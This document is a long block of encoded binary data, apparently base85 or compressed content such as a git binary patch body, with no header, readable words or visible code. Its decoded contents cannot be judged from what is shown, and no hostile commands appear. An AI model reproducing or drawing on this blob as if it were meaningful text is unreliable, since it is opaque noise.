zzOIryLTk`x2zSARV{s^sZ=LNzv5Y8u-G!0lt*1MQ)H(_Cae6<5w1rsD#~zQZN>1l6 z?ZP_+rVU_GdcR%tADa)38}=6B6V!BhK3>z)1l)x?j8D3vE##YCPBe1{U*6)XUt;(4 znwTL=PbKYILMU_+^1pRaPU^zf2hdeaqnep7rS=rRn0Z*gzZftG5Ma=Mg*+^zm<p-+ zH}^*&kCR?<8)tr{9HPuY?j9uVArGrR0+)irP-=dld?Vn;N%SitPNg92)r8^>AwLW_ zV1Tj1eTAGv!u#?bUQB4Af>ur%I~eJe!-UpdqP!ZbTz&fSN02Q(VR;1?Vz0QoTVrn> zijVzl33L<#mF^~#>a}8@#=bsu45_Vh(8hy$%*i+;!Fi-tRbD7F9@;6sZ!6CV`Yg4B z9jPn9U%VYiIkjCMs!ZTJE}@8n@GC7rO~{O|f-7j_2lO-t2NXyScGa2^NzkFL1ZR>l zrltV~q?LJoc3?c2um6UTHT+Wg2%*3<W*j05l>82+p@4rv^T1r;7|iQ;R60kR)R4eU zYSPQCV^+wFkn~l?t*#P4<X0lO+92u5ECQ~atM7I6zw)iO1obJZ?RPwqu}7X2@<N~d z&(sY8k|<GV@c=#_#;v%`6Fz9wlv!lA(t`_idskf%a8MC{YyBqGWNfq6bDe|IPI5S~ zBuQT0Dl7Ry8ByQ@{L;7kHtGFj6egFr`BH7CjG}vCRwz&2?RZM5Lp?(IIchal@YeDf z{F*1JQKtbt%i4>trBzfw&w(5O8W8$Fs1<_;-<pJeS;@qci+Yv$Uk&;ek#k5IBBM&k zpV5?(B6DAEEv4w5q=dX#Eu-$NXsVz@m1%h%XBBuJ+KKkDmYk64z)NYrKq}?c(NA(L ze0991VfG|+4L%GhgmTufy&|XJ7LFs_X9cB}zIV091FjxcsY@^(w9{p96IM#;O2HL` zmv31$7$2`CL-ZT%;doNUyhx!0%8FC+bSHilg-CWw*o6+jl%(kCS$N$6=_`Ff2Oc*8 zCPJC8xXNk{e>qm8`_<`H*$<P-F0*FnDdnWkhG@Q8<JOkDIcv>2;wopCW^s0DSN5NE z<8H6#mL9>WsKf9-j@9Sc{DbCnP7i&Ub?N=gm$m_CVK%b8Srgum)!pm)f69C8Jlnu2 zkmFd1{ezvziscW1AWCi`-#Hc-Qc0;2cWc(kSH@j-?X=cX6tF|CDl6mDxm(ius$s9r zeH;{3gR@v`a*v=**2YD4(6yp;^@uA{@$r<a0kIl#w}L-3;=I+y+(+q7ppmSkYRbxc zDSsPnIo&943(B6sU8wtn+7Y`Ym=KH{p?7=m(FI!$_Yth#&*S{oeC`gqi>M>%9Z3lU zQ>mQs+MUx^dvI3*>Yl9ZAILqORsDm^48>qEr9ajz1oq)zc?9=V&XygCeH8apJ!5tV ztNq7v`s_IFVVpL5JofS2!}QeIEY6)hf&B?5a+h%a>?G_bahI@?Wisnwrf|#O!HYPD zb}IKk+~nWc)43P(51^Sm<u7ORfMOx1vM%DDuQfV^8ePdg1o`t@OZGc#0n(2-skAlq zybYHx%s%Y$54)cHjm+`i!3cW~j$_9mfAHf(+nVf-;yhS0f)iou;9i&iWVB*uLL=;r z*^|(U6JcBM%&^@|Yjz;?#NG?K>81Z6E8uL`zJ%;&3(QfrkaL?)WH-WiGm<~MoXGk8 zlQ^BVE&Eodn?iPCon_jw>)?EI1Sg~}<th6I+Ou0=J@&Wkd+gtW{`h;rM*9_KNPlg= zF{zv?`aS1t@3TMfXAAlJUM)@yjhaE69GYVKvClWvG~xtN&gGR;M6sv2H2%?0)$#8` z-M`g<6Gf|Ynm4D4a-MoER||V>SDTP^TpjFnIb$@NT?F-TsqgCJ(!lYrQuf<6G&!=b zz%=Bf(Z>8Qp^0n4t~O2_#opY(yXD+b<2ZRVlRso+xh&$gbS+J~?ig#z8Kmtv@td8) zrUxgHb}*ToL)wM2sdHT}e?95SIqogk1$?B*;5^c9oMYbIb>~EGb}5+d?85A2qMS^6 z4Ckx&b$yB3-}UFrZq6qK1BDLS<b=|}lzNC8V(M{H=}?o)X{E!kAIpj9jX1A#G<e{= zQt&X&jWacMzgh!!9-j!DliVazjgw1H0w<H5oDx6Pl@N<v5R`qkn{Dzqy>t$L9GS~L z$%dR_I-jzaxiZSj9tqQ*(@YnD2mUl<>hrIm#bz>pA3D_xmR%EO3a6W%MryJvt||LS z&oo^*<MeDZfb&f+pwt(-i@^zJoKmi9+%=T(T6Zm&x!&D~?@jI&u)+QcQ=OAdZ!<MG z-Sl>Fa);yOWZ7|H`tbLod-;n2C!B)42iyb1deA*+iuh0AL*{sPH?1%y@xQ`{`CG|K z&UPQee+wTmqxpB?qx|FIG5466$PTT?%_#Q-e;yp?R`EZRlljBwlbm?Inq8!2{Au(l zQ_7CIHD)${9DUl%;;*C6n7RCUbgh}d-$$S24BO{8A$=@da-nib>4Q_?Z^9+3D3_Fd z?wnb!TryqxV>RWEHIzTfZerO_Ec~&$^2Zv4t%a>NH&hCjlt0|o!zNs^igL*s$|a#y z?)u6l8z`6L-vHc=lruI~&e%jbV^igfv|{e&@PXFKIfZu$pUi|Gc7Tg@<ZekH(wR`g zH(M*;Y|Xm5TsW$5&vwc^+bj1xLiuJ#<(Qq6V|G?930HwXrYL7jQJ!d(C#EV-tfV|K zRe541<%ucE6P@zJi1I|IJTant&BE6n1~V(UYbkfD40qcEPBz2i(v`=h!Q(y$vtP2O zDjhzz4_pbStEQZ;hH|>v%IRvr>A*Al>A|?1ea(s8^=v&OyRPf=zn})T0rp04y;^X+ z=BBoCy&7=64xIbl(dL-CoN;|5_HOXObmfEfln>Td-q%2RUln-YDE=Na8V=Y{Ibb8@ zfc!HE4%h?^cqac7;*@Fr3M+iD8D~si#7X`av)8JH{xh~UJFb?R40_|`{3+#rPKM56 zf7QdLCHt!$hx0zcNzbj>`TYvK^;LFLwbnn%wqQ@yoA6oTq3x81wugs)0ayJJPTD~^ zX-DOxos^SyHm>d$P_1cHzus)<=0qK-R7Mk*5?gCpGLL5UKBFT)k78Xn<4>7uFk;oW zj8Iu)8GNzhK}R&Qe@WKnro_HrT=%US(K9xeQP2P8MV{3dp^}e`C@G8VypUOfXcL)D z0<(vkb<^AuQc5E>^<(G4SHM?|5^n%*F*{`aHqRQ`lA97vMznqepAL=x{!8Zsz{=Pe zTy6y8>>c4-=EyQn@+)q{7S{!ZuD~U{CNbid*|)5h7d=DeV3aMRP^6%wCM$_W@61IA zRs%6o#ZU7Q$6t4mR%|CLy4hK&Blp$7F0{gmTaTmoGb|4?H9s?y5R#cZ(S@_W0a@z~ zHL~YT>SllJ3-RaPC$T7x&X4(%<u~4+@9kg&O%7r9a*L!|4DwRGc8hz31<HV$t4lpI zqX=gpCU%zMXd`ayG9lg7`j)zpxyv%>9#<cS`N%6F^xmKFJ7PCzD4Fe~Qxeg*%kBY@ zDho_u$yWfQ)UM8FH5EUz-HV%ONL2<Pv|G_diK+=TD}DP^67((WWxesT0D&Z+Z_<(( zPjes>oFvn?tOrTZx6Zf&yw!!1{(Aa8IEL!ZDcN?6Xq3@}aLXEn<V&d-ci|cd+{kKY z!5<W&m#1%`ap5mQ_i7Ykv4KBAi}X;8(2-D>&ObGN`0#BYo{y#y`i1Z2v3+7i3Q$Ag zmK{Tq+E(ONv?rw(nekT!8sQoywne_wCUxUi+Q=strQWN?=b4JjKA)>X8HYr3kX*#< ztPn2mr?Li5Ek1|DlQy}7R<nT|g`co?5xeNzg{pL3DHs;4C?$%HUFt~Mv&xWpi#|v= z#9m|qJ2VB6EqUHAvs=Ndwhe_-WFOm!v5WXxUx$EOFsN|jpPqm>VJp|~2q*Y0{SGtw zpwE%MC+v5WIx2!IfG7dPue6C~HTD{2DfncM7uaH7BX(Kw&<K1>-y(*cZSVxy0l5O2 zk=<+?2$3q-SBwf4R}<gwRTGNPxFI-xzhEdcrFPg6EZ8TOrv>4GN}=%>P%8J2>MvAU z&X-WB_*4ZF&rgsD$Nolt`CjZjI7LgesEuf|EirXtZ&JV8@s+RUY7;*R^%eh`sY))s zzm)ow{&G9xHR+jrf4Q5yaw%noPzP5daaWsvsx^3sw9fBQ33sXpo%wZ|K1g@|gwu$8 zcL68-TWPjAqZL^}gkGB5#rP45$PtMPj%7aqxhd6u$TvH*(K9s%UiL|1=wXN>`|Wm{ z459DfX4kRD8zDsNK)<T})gH#@X);3BIuIDOKcRkVWAnU8TdMfz1;tD40dM6vKiNp? zqN{*T2qR+<|Mt1#i)#&P?rniWzkFKgU%~l$jL?a!;u5}7De&}MF%0Qj9R4B4iH8b9 zcy1+M6}8LyU_+=)LJ3^L5d=SCs0Cbw=K`H_b?JLmA}h&Z^AsxaJU0~?qZo-zTuD>P z#x2@psTaM-QT|%3y#&-Gr4N0CGlEB+0+G;`)T%r+J+a9Zdkgyh1ZbAR57u(8i*3;z ziL^^X>W(n_bm7c?9g^%%7LJ3DtTGZC{iR4lrPf|mPAdG78p6+CtdqiB$}1Egbtjjc z6eWEfP=$~YPIME}##OebHn89$=+p0s@nuUDoDy~)x3s(+l;u-RQATS@SA<}FkpJQ> zd3in{bW)xCwlg~04h}czm`NqG8hSh77)g?zV7DoGOS|wp)0hbm>kFRSz?>gf3EbpQ zxcaznH`55qdIP1n>Phhb9_zt;;P<5V>*CgjGAnyJqD+;+_z&PG)J4$GDYXdB{Q9j< z*gV$|?jxrX7_Z9|>?SUy#&GN-t;Dw(v3cqZYs+(mc-%xPTBqe`I*~fIM)W#p%P}HP zhyH-7ITS83c6LAmw;1V_mcgkT2?rLNxDr?V*2_P|h_{_bWy*m8%H`@O8jVz1g6tHK z)s)K#ClvREK!tr7czTQXd-BD5k8)$-?=8vG>s19Ze;ri6g#QLQlKx3X7M`=ndN-~R z1ByYvQY=U%?z5ZtP^S+Yx)LZUA4!)xj#o_?D)*Egq%FBgjd&g@U%qq|U>#of4Ls>{ z$yxd~zTs$mNx!<06ugdGcxA{9WEG`{NS}mBfd_rgEnHGs*Phr%f^&HMH?&jnm%Zz{ zV;*2=>)MKcP}sK%u45nJCige8GJ&?L<1oHu&Lz4V%9|*g#*-4&1X|^ygpzjuHMxF) zjaDpW*I03U@-6tNF0O=QSE*?TcmA9-gm25}@+*3=x<UE35TZUV%b=&NNRPC}q-@X= z{DCzgTX>3YR(R5O?X^B9l<wt&<ChYaJ_Q`?f=UxtZH1VAhqQ(AULwA5(WI4zxOy0+ zo>iwU-+~QE1{}R7BMvPgW8c74`do=6Aw<J0oEsOg_m#TIsQFX1NgrSSlGJv^xxbXu zk7y1ErGKq^o>U*@euG-NgLv1{E~Mq@JfG6asCxtX$_iahcENC_32_7yyOrOPDy{J= z)?5G?)XrQlo{_9Hm$9vc@jdH)r3RxT>*`74>vV!hpT&tI*mQmZo^{+3;z3i9`fo`6 z>;P|Hk=7P4FJo|#07)B>nYYZ_HVW2xOPy#B##>sV%+cFH#al^Z8|Dk)E0jw(pV0dU zd<%WQO^9ts4n-QVpEQX}7+ON?1KwK*D`!W1O8C7&AC(K0eq@&LP2S|OOJhr{uQBj2 zaJW5o1#cODuOQ}G*k{X=xAf{O<c+yON7$So1*WCvpDj-UrGVo%6y9s0#pRw-B$Vt7 zl#4Vr0+r_rsqj9bZ}0P|_LpBM<q6(C#Ym~ed_h_FNxkS@jvG;OPOTyL8nJt*AE_bE zR{-V|O1lpD8Ub;X^6ZCtWIY78a#rQ`B8`Z>5_^`>`UjMLD<c&(q_|Azj8^t6c`oO@ z9*oO+x7~zX&k8&pyYT&a>~Zp32j*myus!xHDSiQk)!^KmZS1?;4K=I|`bA$<|Ad}^ zX+Je0HM;`{Wb7<!a40cu+5&^OAH@hJ)KzgJHVMy-&97q=H!vOGSM3_g#~11f<UpE( zj`=(=i6@w*WS*K5u5lY$RJ2Bn%Q!iz4q63Hi$W99*vY?b+qgV552A<Zs2Z3~oTxek zt%98H*BkxGDD+FBKN*1LWTGkLUvIPc!}>gQAmh<~EHWqZAGfp6d&sGOGtg<=g0A2W zcc(d@Kd{}yNrKDKOI(J2U@6+Xfz-6<6OU9$c~{jZ9;fp1bk!#gQ>l5n>Jx{l?7XVV z&a0{Hyt>NHtEud~y2{SeRdzmFW#{=SJ0GpG^L*7OPEdW~393(=sQScXRiAjg>J!JR zK5?w-6T72_TtFV8RcxeM#TF`kud2GX0jg`uR$W_P)wK;)U0aUo+6Jqx?P%4tMOD`} zNOf%ms%vwqYb#J)+hEnT6{xOlxa!<FEm;b!`#VwT)0++fk}(8<eDLlT&@sT&S)s zS9NV|RM%FZy0(6*Ys=%We{HE1(YUqLlN!gX-mSOl-O~6AU}t<q`<5!_onjXq+)()+ zAa<dEp{j|itaMOCHF2#}6L$<W(UUNuk4uri1!5PiTqXHuAa>EsrEv;zKkTBR>!}*L z0ji<PRt;T_YUm18LpMe>bcL#+8>||-qm{y<s-f$s8oEKMp({`gU0c=AIn~e=sD^H^ zYUm=Wp=+-ix(=$LJ1R*-m#Z4OUaFxRq#C+`s-YXH8oD8>p&O+dy1}ZU%To<qC;1a0 zr4T(`e@-VnAG>JlhN`x%w`%LsI05Zy+(l<sNp*Iq{FCrcxQOO%sA}%2sOGMnYVM9u z&D}Aoxl55V5D6*zyB^v?#;X=DOSO2F`BUNj_=+xXsOs{%s4lOe>hdyGm)Bf%dG%D6 zS4VYuO;wlISao@|RF~Jli7v0R>hk)iE-yoMdCgRpS66j;wN;nbM0I)HRF_v%b$Ogw zjedDKXSPXySxwJ#OJyum4HwJYPM&i1brt*_Pw8O|+9z?XN}udcwwAN8Wk%Q(T~tlD zcRg&P*F)E&H+m*~krtr0lM9U#H(F+%4OPciOH&lTRA7jT1)JP*z8qsK)gQ{)a&pV; zU)E%#DGX8IliLBEzwzc02qm=GL_#B%tlp>$tenUMtbS#e_BZ&6-myNAd)Phv_0_c@ zrD{lMS+miAa>!||a{Ej4mlE3OQ{E=fQo2@yq%7^WxB8Sd5l1VZ*WLpj@8$RM^*zQ* zT<9DA*DmQ%WhEA;^U&upQU(S_wqbs_`&oqe`&-6DUM>>``b}@`2}Lud7rDw<O8QZ6 zymU1VM?4G0djjR}y6Q5<5WR`uRp^skg7Hp#EQ_BXBMVJ<iE#kw@5!0ciR?d2iP<x` zXlanszDdgMpnj3a>8Mt7k`TyDe)lEX8^7YtCnd6~wOaaWk{fWz{6uFK)PvLn>!~q} zh8au!ZVJ>ig{p<Zb|sgFoaOWg9Y=e2zI9y0SG+!wWBhu%rbn41Ci#hOQ_fL4=n7~e zaA$lfn2-~0D$8gWY{)9w$NVVopvV<ENG_U+<SAvBoOP6VU~obOcnQKwXo<a-dLb^i z%n?OHDm8`H`M?x@!*}6th;vv`fKaGbB#HZhby>V7h33OcG+to~4`-zDbB4gPV0%53 zC=w<KDPfc2hw13r=io!+<T6hX*`;3bdiF6niG*7uM5@i?O%2oLgx}O<&9vtVgvEUa zdk{tXbFEUO#Fw~|LvShG%9({p7x3~;>ylZ9Kpd7ZDa`+pRkTxK&WSAAVHI=G6~|2A zBe8=^U_Mma8v*?mni28XiYrFwM=^RIYYLTmp=2;gE0#-ar0pde6++^}9rD>NI0Y*n zK=LLZX)j)ity<=|cd{ixVR6@ZJM-<?uM?NrRo!nqSUF3)j)eyF><nB4Lo#bka1x;m zPho<U1cilX8#R}66E(cZ&xFEq;VSE)FmaXG2T&L;NpwuBlKCJyU~*lr9Gw7(FbYf9 zQj*>Mx(QMu)~nnibrGqSFSC?A$VF2N9)6z8hm==B${C0f4(iY{_;9`lmD2?X!>+hQ zN>bwzuTv0Oa3cA3W5&DzNraR|VvF2gVh5K}v7D%=Jv}W+r3S)J1Xq$bcPLj3Bk@jx zDarNMSV<x5kA-G^jj%RA=vU<eLU+Q0_lqV#@gOuV`ZKxWCD5<KeFz4)lA$LzY03MQ zdm_8=A$TU&Q&1D?r#UNR+J?c8XnW)q?nz40hiiE%fH7Xrz8+c<He8<`&sa++98&0$ zE2M1=;CJ7*6s@I}Lin%Lt<d&r<(?wH*k1u{2kBE@8C6QZ2<PT&9i!4Xq<rh>K+;wd z@F{5x;-VBH<3`RA<)(kd$B!R{;slc-Pt(z@*d^0=dzKHys<a99QQV7-OI8bc8U~uM z7XzN%>MQYtqP-kY<YOC<S;<IBdJJ6&AT+{tFfR>j%=^nzT1xy1;166pWWqs1-leoh znQ1>#D_qKBgRyZCKAxKTi);w|lym$)`H(#S-{efbi@;8tk`xbd-NbJ!e7u%~vVQqe z>J)w}v?`<j^&$)R7gQo^nRJyBR3kfGL{b>eiR4>pG6-F+?!*Uwp>8o1jwva*wpVI^ zT{dzBoGRJYT&R=wklZtiR6qGUh)p=DOUW<j+es)XTrzc0VhuxiS?>kENL+CYddk&4 zAmD$b9dJ|P%h}O#3r>8i6^c*94mhVI?9->sNqg|^S@zoav*&`GNl|(d;bE+h5SSFZ z!Wl(}C^C6jp(!I*X^S#OBsBT2K&L3}Ut+5qTH^(&`j@65V=v`A)U&L9lht+p@~vHJ zO!^ebC8=Hs5})G%lkhMZ?{Cwx_<qrs$j1+oB&~4VDJ3FJfi=ug>L|D*?tx<xk7KD- ziN{GB8kUgovK{8AU`!$~2;>KkNi;Ym^s{xD+xQc^B!wVnMj2Xjz^P~42~H#$n30`U zGP0NQtY*ZJs@T>Qvv5us*9ga!k&4#*0l4yc%NW4dryl{nn$$}wztz-5Pbt_9a`ySd z)k7FPw#f&&5<E#Qql5I}BnQn*A8~98O=;K=+vUSa8ideULI9J`U)&|0tkIElv1=`N zieuZ4H)JdnZ*Q9QK@Vo`|E242Qc_F{t_5ql51g7w9+L?F@R&-%b{xP2w*6`7vd>Mh z?c1rG114A}eudZ;`fQ|aG2n1X*!CC|Y&91i62K%j`bAO`ULfn4_WG2CT4{Nb|I&Dk z``B?{6BcSk_VLO&9h`MXEZJ`uj@4v#H;u5<NM{}4m?e@c(k#BD?TS8gx%%|uDPxiq zv0<bpJ06AKs1%5J!P!K@@dbL|V&%XgF3*n+;pv?zsb5<wqu14Fx}J|c12l}j<RagI zYvUW*{0K@$SV^?*!-r3)_prr;ZU?@}Syrx!j&!%A#k~`3OP(_J+oRG<?;hk7<|knf zOfCK`HT(-#yd-<kGs>Fhy_A^J@ulSr{WY0HdY)G%z7NXfXP_diFO`qv%P4lmYkj_@ zckw+|fM*|4!^qlnoyR2H%GrJfrZAkA?+c$F^!5SwJ3*-h+n<UaxBR782;`pSeae6R ze5tj6kRG(D$F0OgQ~teaMeBGQjj3OcB`fviPF&5QZfWm_xM&YL-#dgiT4eI^Qs-2( z<gzMQN4=DaH9)kYXCx-$Z<Ul%2Ib(&SL7rFIeY(5m!AV4%2(ZGw6E(Kc2m|Zr1y4g zB|TF*FmFU({F1JH4eL4RJBT5z!Arp^Or0{zu8Tun%#mg7!8Y>PL5=SAbPNP4EhTNK z=^tdgfs4$a;_^VTgOi_2dyi^R4w1K(7YfqVEuzntQH{ukcbF>Jg;%huIyth3jTplF zf?hw_KW-NaNQ~d&&Y?xp(KQI)a<ZqiU(Vp=76}dKq3|8{LI+XOVdb1mkztm>n>M)@ z-0BJ#<s-gTtrLn;oC|;3=1;NLRvwQZhbit--l7;QhphwrmHTOnmARyhmE{&GaR$^S z*cO~qAN~q)4P5JDUsCQv)3!tq?b;zOrO<%)LSNrV&2iH=k+z3Qdd&Ehl(Y5-K1|&E zw^_7KD5IyaUAlS-sak;JR9dpv_64acK9XnX2jr?{3PyJac!epTSEGEgT1|RO;ncp& zb$vfcZ7UZ!Fg7_0j7j)7Fa+N}L)%HAQ-XD4LeIX}47o>Apd@RsrZLH-ob?yEC)5We zy$3%`r34~5OXi+(RtOiI?I7-n>sjTpI^aWU;{d1NGr*;%lO1Sk*;ghlSiIp)Lfi6R z9R6veE%%^QbPn*CoUwI?OGeKX)>9(9*00dAjE4LOPX0#(-;_(*T43|CK5>%~i;U2c zR@nJ4<)4QtwS)@lmUYY6WlSQo3z^A>RH?ix%$qPO166J=>&^~|Q3)yZQXUfjCH<qO zBxUuZp1q8?r2mlF);3lrhPekVTf+yK2x7{vo<m%Umv{;X2hy^7Y^H0<vQkWD?~J$k z)}4FO8wdSzaso1+__>jRoO@AWPv$Wpe3E?DQtqv2j6~wDBM<o5Mn>STdJ0l$sIP?t zx0DmCrT0I?rMNqYE)#*}tX2ub>_panGU}ytDNxRC)f$QZ)bAXXGjZik@P=P1v+jRM z<dm=lW%g1eFIN$XUUHdN#LK)M4EQo9dLP+O^WQ7;_KM34UJfcV>o=o<k3?C@+o(r& zKbCh({-P|>6Z%tcWEC#sYwoRZEs0fK!&WAgjQ*w6?}Z~A!hZg9oPw~2pzL5ZETcb4 zB>itXX$hUlcq{CmJrA$Ae-_?DJ5bmvc!0e?u2q3&+(|;oMSJ!$iUT;r|Hs;wfXP)= z`M>w7y7sQ6Yp<@os%z<`dfz*}B<W6P-}i+rkPU%ASdD<93_2={%P2Bz3W_-FOK1_0 z$sdK$3^Onq1r#$5aj-=qF-9QO|KB<Hy{hVTK*!JIyZv6>dhgzQmV3^*=bn2?`<|cC z_%#Zy5c!j7b<O;Nw}s>Zw19*D<Clu?7IP;<re^06&ry5-_kU<-hIVF(5XHz}MA##J zMEK-?h%k7cdZ!PSu!wK}*1zb5@GiU+v^%KH^GaDm_u8x!-{Z4JFHl%`;%JTwjd}7s zE)A|Ep~&w;|KVj2EmuG!WPs+0qdgX~eMJ94O5(TB)Fz>y0l^XMpwKV3-Nc%c-WRQF zcC3u(Aq(P?qR3m2K~|eCWN(>=$jZftd^`iOj%Oif%MR&W&Xlr8`VF#_jL1KgUq!^C zM+qRtu#SEWROvx<-$F#=EmKw^_HHBM>2@KGZa3oOE<ps`)rfq%6%lN=BU<eq#HZbd zShNQagZ2<&&mKX{*<*+`+lLsl3B;B?iI}pd5KHz9vOy?_9;1voUXqG{lB~EGM`wjN zD$C0;S0Rkwg1t1#m{Y}3T3(Lms^aLb7|U`*sdAhZWz2~o+KPV3fMT+chXnt<oCSh% zKm-waMY(be9D`-#ED$En0%4Zo_;2AX5LVzSiL5%5C5LiBWN=Tpaw5QO9`}?BB8*HB z1>95qhY0Z6f_uuI69IkNa8Fqv;+zG-##tb$ISYiHvp_gF3xtznTaiNsSs)aSYK?MK ztHM#O(Ta=^I*w}9b5yI2qgwSG)v9n*tBa#rYdEUa#Zj#_9JkuXajSi$><|wDhm`fk z%UN$coDm|#S#P|Y^(Mr*AgVYQgqL$c#5fm3kh9+SIqOY;v);rw>rIfe-o!ZTO_1|H z1d;!tTMBWuhahKrsO79TKF)d*<IE2R&Ua(vY!4>R_F(304;IdMV=d)*_$Oq{p{zF% z`Jd%)<DPQggpuLlG2BxIoCxP|=;s^`ad7NUQBT=$Z1St}tGK6}IMtlV!Ooc+9GuC) z$#J?J9H-mK5xQxP&`ofJZki)>a|&g{$#R5l4@c;BafEI&N9cBOgl?K6bh|h<H_frR zT^yTR$5FW{j>_%fsN4c)!0F+5ToH-e#WA=o9C6#u5w}eoYun0Ew!Iu*+spB_4IE$F z$dR>e98;U;Xxe&?qiy2Y*$$4K?c~_m1jo)MIche^QL|}|n$2<4Y?k9?dpKUUiz8*5 zIa0QZBW2SZDO<<Uu_=y@EpYyt49CUxa9nIRN5l?rENq%%VOu!nwU=XF+d1a7iKAWX zIoh?A<6L_=&b5(aTiZCcHP11u4II7N3*KMIGu+PcljH2EosT(}LF^^XD;;E37iK=? zoicE2xRGPSO&k@T=Lqg<j@^!M>~<J3?JUgnZTN5IsBQd4H2#Mm<356UPqEukj@{0H z?|%c18J35UsboYRLDmxDB!ziM51ud~uMcHB>VPZ^AS(~$H|l~+tV7If2cn^ynNBT` zk3GnKM7fCCIC6P_X)p+RxeS?jRw^qIAx~L_=0SFDL_QwM7&M#Xk>@hT$2bPLm*bB6 zfaOc1ZjLPOr{6u7W-*o<I8u0oBZcQMHb*%+xRK+6n}E}AOZ6NJys#n`ILEQTbsP&^ z!?D0ljs;F~EO4A-fvp@1?1PNnhlqX3>*MEG;4H@ir#Tkb#j(H+js;F|EO3ltfh`;h z>;)D1_nD<nGTlsUKadSX|4BPiH0{}V%E9wZ$1|;pXPRD(e;4_pDD#t1jXfVxMsQDg zn{>>_RciG27G(?aDv2CRlod&htw!sJ*99f?xcHlX*z_#^?`vAp`0K`-8n0`3tKruT zzi4>5;f01}D1!|h^<S>PtiHb9ls}N)o4-W;@65fG`%Ugp?jXv4;{X2K&0G$m=IY#r z+@kCsvM**|$gaz_Wy9H;+<#`J%pWqZb6@B$b9d(4OtkLBy2t9a*NvrLPfw)BQwNgU z6F*P<5dS9<-%4E3cpd#uoZIk1;v9_W*NM|HD((LZ7~6;bkH3Mj^Z)qvhK^JJk8dge z2aMvsslMWWd|iA+>}YIfY%A{8#kSDj_`2Mo=!?-8@OOW7cH~=;JE>0ndrP<&J{o>A z{CfB&_@4_WYq!=e3H>^>CNwuRm)~B27Pkg}9$XZ7Dz=sW2ZsGG_&+OJj&1Q9Vq0Qc zB6s@sMPESs{NGpOz0C85)`w?1J?n0Bn`-U@_76pFiQIzzjv`2Uf#Y@D;lE=6_3s!K z1@~`aRLR;U;=lcz>aW-ih2OMYZ3|hyWxW&shb_-pwwm8GUv2i8ZZXvuzh#_lc-wHH zp|R>etM*oP=@06!)Tea^z&mpwg{<Hp%EqU#-JoNMq-Tj##WsO~Gea3!I+@rGFe3w9 zE8gsYW_Lh3ZGe8I9Cdj}q_gnE+4$eYvZ%nas2SPlc0sCL1PRp2y18BYF8+5&|AGIV zERnic6L-r-*$hoqEjy(_xkj#$W^=}+IgnSQ(p-6&yi8gkpDv#+EtJof&zBZ)cBIAf zjq;7iPWKi0E66JME%{s03eJwSQoawrJHHxvk)D;-a4w{6kad4XjxHTC!(Gq%?<VLx zm-I#Gwup2yG*(Qy3#Ufvq`Q?Yva;Qy6mTx&Um*ATr2CXvINR|kG|;&87_`nZ>ANiD zo`sa#Ed49=%4yQSDQ6&4+K-g8k>Tve&=&t7{Yv>fPD1=1XCS^Hy`y{yCn1h1UsZ0G z{;1rk+$o)4X;y?Z`;IgPIre>72V91+@}lU6F0591rjB8(76m)w3f<3{dQVv>d6YF% zlgeh4ol^&uT_}4|e-$Lnty2#uw@n?u2?`7HpLvugQ2%{s5=81_mCP-oR<w9TNlhKc zd6+0#eop}}RJ42;Ex(4AUsHCYelN;Zc<<J!yV3gd6|EoPma+fO<2{J+PNMZ7GzZ3v z!aYnKfrN5k?8izy?8N;p6w&I07&AUUiSjfu&e53t6=SxjW1hr#gBb52b-b1eOdLXs zht%<U)RqYw6Tn0im_X|o5poPD&wzVfjAwxn(RvPJT!=!r-HDdUt!dCxYfm#?zenSQ zj3;UlUJpQ1i&hf2QcH7yuX1aL(b{2*%~OF(f_i@?E-}6;9ve}Mc;FaO43Jl;^q(x@ zZ!`MW#we(x(SAa?3*X&?Q4qxHIF)CJ53rh?4mGHTv08x7Np-xHoFy=@7h}E(&j`*U z=q*@1gyD1O!upY+Mn8ybQvzrO`8AXTt|@#bEcAdk858)t2H$N)(Rg+@-n$I-)WfY) zw*VV=E7&W;xF?nG;ydC68vj$M!>`N$hGT$%B3&3e7)KfJ4#rR!?;0G$$CZ>MSTszP zW(h1OAJ#cxUZEZ%9+q}ZO(IjJm?>DBf|osj3E0B?BADl3ObfwPJP&c*39j6QaxtF0 z4Bzhs*Adq4!S#ON{&DbgNbQ9pM%7*<i`t6=78msrL@&oGdO3VjFCO&bVID8{w4ZsM zsm{F}f!y{%f`@@A&;yoal<0(=c@N+^EP6yQ_!cxf40;_#ug{BK0oNR04E8BtI|j+- z0c>iosNVx?PxK5<1}<*JcemkLt#@RxQXay4k75oJ%+V6eUBD`1wghvH3Ud@Ac&`F( zk`$HL&0z#lz#XlCn|eRMw7d)N3M?N(9!HDvD0+Vk&}!I@0)7j6J_a3BrD9v_nP>_= z1srpL13}LtD$FPMNHnD$JtbHlCOFY9^+ec)oeYS3z@fXqV_4lYhRZa4RF#4RTTta3 zf=zG^$p*sgUd$Nk<({cW!8u0&Q&kBj4V%RI8V3<fLh@*Qn!vcqaA~xJzCf!x@$4>? zi-AqSrvwwt?qisL$5hxJK+g=D@)+?h<VJvD6cUMgJ_Hz3=$YUo-lY?mRV5k<`jI3h z4ho*ss{=3|Vi>hv?|~#C*a(XRo5m?kEcHd}o@rb%2l7D7J;EB%Mquq$%+cFW?n1c- z^5i~X@P6Dsh>;Lq63re#-J^K_G2A~6Y7uNS`!P$Vj;I`>%}3%8Z9Z1=CBa3rUgHu$ zyUT!KjZ4a~O~69G9RBaHG!Ckr3EW+X>qXd6*#qg0xEIXAV~}5Os}LTC)I1KkMf&$J zpleY`O5TdOO}h6U;Q2miq5FZu2k^{;xIP5Ve0b_5K=w2sn*e0{0ol{w$i=WB&Va1m zfnG1d{NDp=h~C~sZ^S1A-OJ$rNyaBp=2rA@8_GRX{{vZkNP$lm^7s(s@j=MrgOJCE zA&(~^k0&9I4+DSmKsADGG4}-6fCt3VsXZM-Pw%29*cwxR0BrA~w?6^C<ACqDaye7) zScwB4$LD=0@O-ltAT8S@%|mp<IJE3y2`gUIY=!S@2ktLKj~Brsy$2Yo!q@^R(WxiV z<6G$Q*U&*V=<!kLAiJ`VVSEib=sEQM5_&%dc}8<#2k3JQddQAZ2>!VbpK10zfb!tf zQDFEbVE7GS_)TE=xXL@nps$W18?0XWu4Dp!-UWW%1#W%=yc~r$Y#v5D4hj$z&IFEj z;Cc~kX6hBckg6cxlj6i^5lw}WKd)-f{TTVvz|{ea`~YzE8b*FdS%tzJj}ex18ou8n zH7OTkw1W3YA`9x>g^}Ka@9#rj_oKkqi)^<RRXTe}MnXb+0KoxJ898lHzKilCq~Z5) zeF{8;Xn9b1KcG1P*)|WO*PuBK{B#C<wKJhQ2&fJMs>fBRo>rlH6i_{?Lbacv8Y@Aj 